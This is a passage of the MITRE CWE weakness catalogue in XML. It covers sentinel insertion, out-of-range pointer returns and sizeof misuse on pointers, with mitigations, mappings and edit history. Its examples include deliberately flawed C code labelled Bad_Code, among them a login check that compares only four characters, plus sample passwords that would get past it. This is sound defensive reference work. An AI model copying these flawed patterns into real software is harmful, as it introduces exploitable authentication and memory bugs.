					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Generally this error will cause the data structure to not work
							properly by truncating the data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Encapsulate the user from interacting with data sentinels. Validate
							user input to verify that sentinels are not present.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Proper error checking can reduce the risk of inadvertently introducing
							sentinel values into data. For example, if a parsing function fails or
							encounters an error, it might return a value that is the same as the
							sentinel.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an abstraction library to abstract away risky APIs. This is not a
							complete solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use OS-level preventative functionality. This is not a complete
							solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example assigns some character values to a list of
						characters and prints them each individually, and then as a string. The
						third character value is intended to be an integer taken from user input and
						converted to an int.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>char *foo;</Code>
							              <Code>foo=malloc(sizeof(char)*5);</Code>
							              <Code>foo[0]='a';</Code>
							              <Code>foo[1]='a';</Code>
							              <Code>foo[2]=atoi(getc(stdin));</Code>
							              <Code>foo[3]='c';</Code>
							              <Code>foo[4]='\0'</Code>
							              <Code>printf("%c %c %c %c %c
								\n",foo[0],foo[1],foo[2],foo[3],foo[4]);</Code>
							              <Code>printf("%s\n",foo);</Code>
						            </Block>
						            <Text>The first print statement will print each character separated by a
							space. However, if a non-integer is read from stdin by getc, then atoi
							will not make a conversion and return 0. When foo is printed as a
							string, the 0 at character foo[2] will act as a NULL terminator and
							foo[3] will never be printed.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Addition of data-structure sentinel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not inadvertently truncate a null-terminated byte
						string</Mapped_Node_Name>
					          <Mapped_Node_ID>STR03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not assume that strtok() leaves the parse string
						unchanged</Mapped_Node_Name>
					          <Mapped_Node_ID>STR06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not inadvertently truncate a null-terminated character
						array</Mapped_Node_Name>
					          <Mapped_Node_ID>STR03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not assume that strtok() leaves the parse string
						unchanged</Mapped_Node_Name>
					          <Mapped_Node_ID>STR06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes,
						Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Addition of Data-structure
						Sentinel</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="466" Name="Return of Pointer Value Outside of Expected Range" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A function can return a pointer to memory that is outside of
					the buffer that the pointer is expected to reference.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text> This entry should have a chaining relationship with CWE-119 instead of a
						parent / child relationship, however the focus of this weakness does not map
						cleanly to any existing entries in CWE. A new parent is being considered
						which covers the more generic problem of incorrect return values. There is
						also an abstract relationship to weaknesses in which one component sends
						incorrect messages to another component; in this case, one routine is
						sending an incorrect value to another.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Illegal Pointer Value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Take care when converting from pointer to integer or integer
						to pointer</Mapped_Node_Name>
					          <Mapped_Node_ID>INT11-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Take care when converting from pointer to integer or integer
						to pointer</Mapped_Node_Name>
					          <Mapped_Node_ID>INT11-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. end statement that returns an address associated with a buffer
							where address is outside the buffer</Text>
						            <Text>2. start statement that computes a position into the buffer</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Illegal Pointer
						Value</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="467" Name="Use of sizeof() on a Pointer Type" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code calls sizeof() on a malloced pointer type, which
					always returns the wordsize/8. This can produce an unexpected result if the
					programmer intended to determine how much memory has been
					allocated.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>737</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>740</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 06 - Arrays (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>131</Relationship_Target_ID>
					          <!--Incorrect Calculation of Buffer Size-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>874</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The use of sizeof() on a pointer can sometimes generate useful
						information. An obvious case is to find out the wordsize on a platform. More
						often than not, the appearance of sizeof(pointer) indicates a bug.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This error can often cause one to allocate a buffer that is much
							smaller than what is needed, leading to resultant weaknesses such as
							buffer overflows.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use expressions such as "sizeof(*pointer)" instead of
							"sizeof(pointer)", unless you intend to run sizeof() on a pointer type
							to gain some platform independence or if you are allocating a variable
							on the stack.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Care should be taken to ensure sizeof returns the size of the data
						structure itself, and not the size of the pointer to the data
						structure.</Intro_Text>
					          <Example_Body>
						            <Text>In this example, sizeof(foo) returns the size of the pointer.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>double *foo;</Code>
							              <Code>...</Code>
							              <Code>foo = (double *)malloc(sizeof(foo));</Code>
						            </Block>
						            <Text>In this example, sizeof(*foo) returns the size of the data structure
							and not the size of the pointer.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>double *foo;</Code>
							              <Code>...</Code>
							              <Code>foo = (double *)malloc(sizeof(*foo));</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example defines a fixed username and password. The
						AuthenticateUser() function is intended to accept a username and a password
						from an untrusted user, and check to ensure that it matches the username and
						password. If the username and password match, AuthenticateUser() is intended
						to indicate that authentication succeeded.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Comment>/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of
								password system for authentication) for this example. */</Comment>
							              <Code/>
							              <Code>char *username = "admin";</Code>
							              <Code>char *pass = "password";</Code>
							              <Code/>
							              <Code>int AuthenticateUser(char *inUser, char *inPass) {</Code>
							              <Block>
								                <Code>printf("Sizeof username = %d\n", sizeof(username));</Code>
								                <Code>printf("Sizeof pass = %d\n", sizeof(pass));</Code>
								                <Code/>
								                <Code>if (strncmp(username, inUser, sizeof(username))) {</Code>
								                <Block>
									                  <Code>printf("Auth failure of username using sizeof\n");</Code>
									                  <Code>return(AUTH_FAIL);</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>/* Because of CWE-467, the sizeof returns 4 on many
									platforms and architectures. */</Comment>
								                <Code>if (! strncmp(pass, inPass, sizeof(pass))) {</Code>
								                <Block>
									                  <Code>printf("Auth success of password using sizeof\n");</Code>
									                  <Code>return(AUTH_SUCCESS);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Auth fail of password using sizeof\n");</Code>
									                  <Code>return(AUTH_FAIL);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main (int argc, char **argv)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>int authResult;</Code>
								                <Code/>
								                <Code> if (argc &lt; 3) {</Code>
								                <Block>
									                  <Code>ExitError("Usage: Provide a username and
										password");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>authResult = AuthenticateUser(argv[1], argv[2]);</Code>
								                <Code>if (authResult != AUTH_SUCCESS) {</Code>
								                <Block>
									                  <Code>ExitError("Authentication failed");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>DoAuthenticatedTask(argv[1]);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In AuthenticateUser(), because sizeof() is applied to a parameter with
							an array type, the sizeof() call might return 4 on many modern
							architectures. As a result, the strncmp() call only checks the first
							four characters of the input password, resulting in a partial comparison
							(CWE-187), leading to improper authentication (CWE-287).</Text>
						            <Text>Because of the partial comparison, any of these passwords would still
							cause authentication to succeed for the "admin" user:</Text>
						            <Block Block_Nature="Attack">
							              <Code>pass5</Code>
							              <Code>passABCDEFGH</Code>
							              <Code>passWORD</Code>
						            </Block>
						            <Text>Because only 4 characters are checked, this significantly reduces the
							search space for an attacker, making brute force attacks more
							feasible.</Text>
						            <Text>The same problem also applies to the username, so values such as
							"adminXYZ" and "administrator" will succeed for the username.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Robert Seacord</Reference_Author>
					          <Reference_Title>EXP01-A. Do not take the sizeof a pointer to determine the size
						of a type</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Use of sizeof() on a pointer type</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not apply the sizeof operator to a pointer when taking the
						size of an array</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR01-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not take the size of a pointer to determine the size of the
						pointed-to type</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP01-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not apply the sizeof operator to a pointer when taking the
						size of an array</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR01-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. end statement that passes an identity of a dynamically allocated
							memory resource to a sizeof operator</Text>
						            <Text>2. start statement that allocates the dynamically allocated memory
							resource</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
